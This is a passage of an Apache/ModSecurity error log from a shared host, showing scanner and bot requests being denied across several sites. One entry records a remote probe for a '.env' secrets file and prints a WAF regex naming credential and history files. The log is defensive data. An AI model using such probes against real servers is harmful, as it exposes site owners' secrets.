https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:12:19.218195 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.84:62564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:19.218461 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.84:62564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:19.370606 2026] [security2:error] [pid 531155:tid 531358] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation26.phpt"] [unique_id "ai3x4ymiP80klyS0NnoDBwAAAVM"] [Sat Jun 13 18:12:19.441544 2026] [security2:error] [pid 531797:tid 532096] [client 162.144.12.37:12488] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "checkboxdev.com"] [uri "/wp-login.php"] [unique_id "ai3x48TA7b1mZrmcA-80uAACdW4"], referer: https://checkboxdev.com/wp-login.php [Sat Jun 13 18:12:19.595279 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:19.595722 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:19.870725 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.104:51656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:19.871139 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.104:51656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:19.871496 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.44:29269] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:19.871917 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.44:29269] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:20.062193 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:12:20.062647 2026] [access_compat:error] [pid 531155:tid 531202] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:12:20.099873 2026] [security2:error] [pid 531155:tid 531259] [remote 17.246.19.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x5CmiP80klyS0NnoDFwABVGc"] [Sat Jun 13 18:12:20.310598 2026] [security2:error] [pid 531797:tid 531913] [remote 17.241.219.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x5MTA7b1mZrmcA-805AACeDE"] [Sat Jun 13 18:12:20.586086 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:20.586520 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:20.676484 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.61:27170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:20.676765 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.61:27170] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:20.966127 2026] [security2:error] [pid 531155:tid 531174] [remote 17.22.253.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x5CmiP80klyS0NnoDLAABNhI"] [Sat Jun 13 18:12:20.994987 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.59:42011] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:20.995422 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.59:42011] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:21.118219 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:21.118499 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:21.412408 2026] [security2:error] [pid 531155:tid 531232] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/var/www/html/.env"] [unique_id "ai3x5SmiP80klyS0NnoDNAABcUw"] [Sat Jun 13 18:12:21.465505 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.100:22497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:21.465817 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.100:22497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:21.474715 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.31:39410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:21.475068 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.31:39410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:21.547916 2026] [security2:error] [pid 531155:tid 531262] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php/ci_environment"] [unique_id "ai3x5SmiP80klyS0NnoDOwABcmo"] [Sat Jun 13 18:12:21.610101 2026] [security2:error] [pid 531155:tid 531272] [remote 74.208.38.160:56096] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.38.208.74.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "craigbrownphd.com"] [uri "/wp-login.php"] [unique_id "ai3x5SmiP80klyS0NnoDPQABeHQ"] [Sat Jun 13 18:12:21.639645 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.109:35810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:21.640033 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.109:35810] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:21.683102 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.16:37130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:21.683548 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.16:37130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:21.704380 2026] [access_compat:error] [pid 531155:tid 531175] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:12:21.704685 2026] [access_compat:error] [pid 531155:tid 531175] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:12:22.087207 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:22.087502 2026] [access_compat:error] [pid 531797:tid 531888] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:22.125203 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.3:61742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:22.125659 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.3:61742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:22.219027 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:12:22.219453 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:12:22.659061 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.61:27172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:22.659497 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.61:27172] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:22.742459 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:22.742904 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:22.820508 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.24:32294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:22.820961 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.24:32294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:22.988686 2026] [security2:error] [pid 531155:tid 531176] [remote 17.22.253.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x5imiP80klyS0NnoDVAABgBQ"] [Sat Jun 13 18:12:23.066818 2026] [security2:error] [pid 531155:tid 531263] [remote 17.246.19.97:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x5ymiP80klyS0NnoDVwABFWs"] [Sat Jun 13 18:12:23.261700 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: 